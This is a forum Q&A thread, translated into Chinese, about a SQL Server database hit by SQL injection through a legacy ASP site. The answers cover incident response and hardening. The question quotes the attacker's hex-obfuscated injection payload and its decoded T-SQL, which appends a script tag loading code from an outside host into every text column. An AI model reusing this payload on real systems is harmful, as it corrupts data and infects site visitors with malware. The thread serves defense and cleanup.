可能的重複：
我的伺服器被駭客攻擊了 緊急情況
哎呀，我絕望了！幾個小時前，我們的生產資料庫被 SQL 注入。
我知道我們的系統有一些大漏洞...因為我們從一個在經典 ASP 上做的人那裡繼承了這個網站，他的程式設計真的很糟糕而且不安全。因此我們花了一些時間將其遷移到 ASP.NET（首先是 1.1，然後是 2.0，現在是 3.5）。但這是一個大項目，而且仍然存在舊的且不安全的程式碼。我不會撒謊，這個專案一團糟，我討厭它，但它是我們最重要的客戶（我們只是兩個年輕人，不是一家大公司）。
所以我知道他們以某種方式向我的整個資料庫注入了一些js腳本引用......這可能是透過一個舊頁面使用連接字串sql查詢並直接扔進資料庫（因為啟動該專案的那個人說「預存程序不「不起作用」......所以他使用字串連接完成了整個站點，並將它們直接扔到sql中，而不進行任何安全驗證或任何操作。
當我們拿到這個專案時，客戶不想花時間重做老傢伙所做的那些廢話。因此，我們必須導致蹩腳且不安全的程式碼，並在開發新功能時對其進行修復，因為這是客戶想要的…現在我們已經被注入了 sql，他們當然會發瘋。
所以....
**有什麼方法可以檢查過去 X 小時內執行的舊 SQL 查詢嗎？類似於 SQL Profiler 的做法（但當然，當攻擊發生時我們沒有打開探查器）？有沒有辦法找出哪個頁面是易受攻擊的頁面？請幫忙，有很多頁。在不確定哪一頁是哪一頁的情況下，我無法手動搜尋這些內容。
另外...他們是否可以透過另一種方式註入資料庫？例如使用 IIS 請求或 js 之類的？
我對伺服器電腦具有完全的遠端桌面存取權限（它不在託管環境中），因此我可以存取伺服器上的每個檔案、日誌、任何內容...
請幫忙！
PS：抱歉，我的英文不是很好，而且現在更緊張了！
編輯
- Windows 2003 伺服器
- SQL伺服器2005
- .NET 3.5
他們拋出的腳本如下
DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;
翻譯成文字是：
DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,['
+ @C + '])) + ''<script src=http://f1y.in/j.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
答案1
首先要做的就是不要驚慌。但我發現你已經跳過了並決定
第二件事是關閉網站並確保無法從外部存取網站，直到您找出問題所在為止。開始查看訪問日誌並嘗試找出主要問題是什麼。
第三件事是查看您是否定期備份資料庫並進行回滾。您可能會丟失一些資料 - 但您會比現在處於更好的位置
第四件事是 - 不要 - 給出網址，因為顯然它不安全
答案2
一定要確保安裝最新版本的 UrlScan——它的設計初衷就是為了阻止這種攻擊。
如果您有 IIS 日誌，入口點應該非常明顯——尋找駭客正在攻擊的入口點。
如果可能的話，另一個好的後備方案是拒絕對 Web 使用者帳戶的 INSERT 和 UPDATE 權限，並透過預存程序來實現該權限。當這是零時差攻擊時，這種後備措施使我們免於在類似的遺留應用程式中遇到類似的問題。
我認為您也可以刪除 PUBLIC 使用者掃描表的權限，這應該可以防止他們進行「foreach table」式攻擊。
答案3
作為參考，這是 ASPRox 機器人 SQL 注入攻擊的工作。它似乎時不時地浮出水面，因為當發現受到損害的系統時，它會變得非常病毒式傳播。您可以在Google上搜尋“ASProx bot”並獲得一些額外的清潔方法和進一步的預防治療。我剛發現這個PDF文件，對其策略有很好的概述，並連結到一些清理選項。
問題在於，病毒/注入模型本質上會獲取所有資料庫表中的每個文字字段，並放入一個小片段，該片段調用指定的URL，以嘗試感染任何其他Web 用戶端，並嘗試使它們成為訪問您網站的殭屍。
因此，請確保檢查相關伺服器上的所有資料庫，而不僅僅是涉及進行適當清理的資料庫的資料庫。
看來您的建議是正確的，但是對病毒名稱進行一些「正式」引用可能有助於滿足其他需求。
答案4
檢查您的 IIS 日誌以找出他們使用哪個頁面進行注入。不用說，您需要快速修復或停用該頁面。
最佳方法取決於網站的類型。如果可能的話，刪除該網站直到您恢復未受污染的資料庫或撤銷變更（這需要詳細的日誌）。然後，您可以將該網站還原為唯讀模式，直到您有時間解決問題。只需將 SQL 帳戶限制為僅 SELECT 即可。
即使您連接查詢字串，您也可以毫不費力地相當安全。在所有 ASP 檔案中搜尋 SELECT 和 UPDATE 等關鍵字將顯示所有查詢。首先對所有參數進行基本的健全性檢查。
既然你可能很急，你可以看一些真的我的舊 ASP VBScript 程式碼。其中有一堆 SafeSqlWhatever 函數可以幫助您建立安全的 SQL 語句。沒有任何保證，它從未打算公開。但是，將所有變數輸入替換為SqlVar(一些值)函數應該可以幫助您入門。您需要從查詢字串的其餘部分中刪除單引號，因為 SqlVar 會為您新增它們。或者，使用特定於您期望的值類型的函數：
前：
Conn.Execute("UPDATE posts SET Subject='" & subject & "' WHERE ID=" & id)
後：
Conn.Execute("UPDATE posts SET Subject=" & SafeSqlString(subject) & " WHERE ID=" & SafeSqlNumber(id))
PS：不，這不應該是這樣，但是大概最快讓事情從現在的位置恢復到正常運作狀態。